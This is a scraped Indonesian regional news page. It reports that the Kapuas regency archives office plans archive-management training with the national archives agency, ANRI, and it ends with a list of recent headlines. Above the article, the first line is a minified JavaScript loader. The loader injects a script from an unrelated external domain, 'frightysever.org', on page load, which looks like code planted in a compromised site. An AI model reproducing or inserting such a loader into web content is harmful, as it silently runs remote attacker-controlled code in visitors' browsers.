(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Disarpus Kapuas Siapkan Pelatihan Pengelolaan Kearsipan di ANRI


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas pertengahan Februari nanti akan mengadakan pelatihan pengelolaan arsip dinamis dan arsip statis yang diikuti oleh sekretaris, tata usaha, arsiparis, dan pengelola arsip pada dinas, kecamatan dan kelurahan se Kabupaten Kapuas.

Rencana pelatihan disampaikan Kepala Dinas Arsip dan Perpustakan (Disarpus) Kapuas H Suwarno Muriyat, Senin (20/1/2025) siang di ruang kerjanya. Dia menyebut pelatihan ini bertujuan untuk memberikan pemahaman mendalam tentang pengelolaan arsip dinamis dan statis.

“Arsip dinamis mencakup dokumen yang masih aktif digunakan dalam proses administrasi, sedangkan arsip statis adalah dokumen yang memiliki nilai sejarah dan disimpan secara permanen,” ujarnya.

Baca juga: Inovasi di Kabupaten Banjar Terus Meningkat

Disarpus Kapuas ingin memastikan bahwa pengelolaan arsip di setiap OPD (Organisasi Perangkat Daerah) lebih terstruktur, aman, dan sesuai standar nasional.

Melalui pelatihan diharapkan para peserta dapat meningkatkan keterampilan dan kesadaran pentingnya arsip dalam mendukung akuntabilitas dan transparansi pemerintahan.

“Beberapa waktu lalu saya telah bertemu langsung dengan pak Hilman Rosmana selaku Direktur Kearsipan Daerah I ANRI di Jakarta. Beliau menyambut baik inisiatif Pemkab Kapuas dalam mendorong semua OPD agar lebih tertib dalam pengelolaan arsip, mengingat arsip merupakan aset penting dalam mendukung pengambilan keputusan, pelaporan, serta penyelamatan dokumen bersejarah,” jelas Suwarno Muriyat.

Baca juga: Peringati Isra Mikraj, Sekda HSU: Luangkan Waktu Salat Berjamaah di Sela Bekerja

Dia menambahkan, ANRI (Arsip Nasional Republik Indonesia) akan menyiapkan tenaga berkompeten sebagai narasumber, tempat pelatihan serta memfasilitasi menuju lokasi studi lapangan, sebagaimana yang pernah dilakukan pada tahun lalu untuk desa dan kelurahan tanpa biaya kontribusi.

“Calon peserta pelatihan wajib mendaftar pada Bidang Pengelolaan Arsip Disarpus Kapuas paling lambat 14 Februari 2025. Seluruh peserta pelatihan wajib mengikuti prosedur yang telah ditetapkan ANRI,” tegasnya. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

13 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

14 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

15 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

20 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

23 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

23 jam ago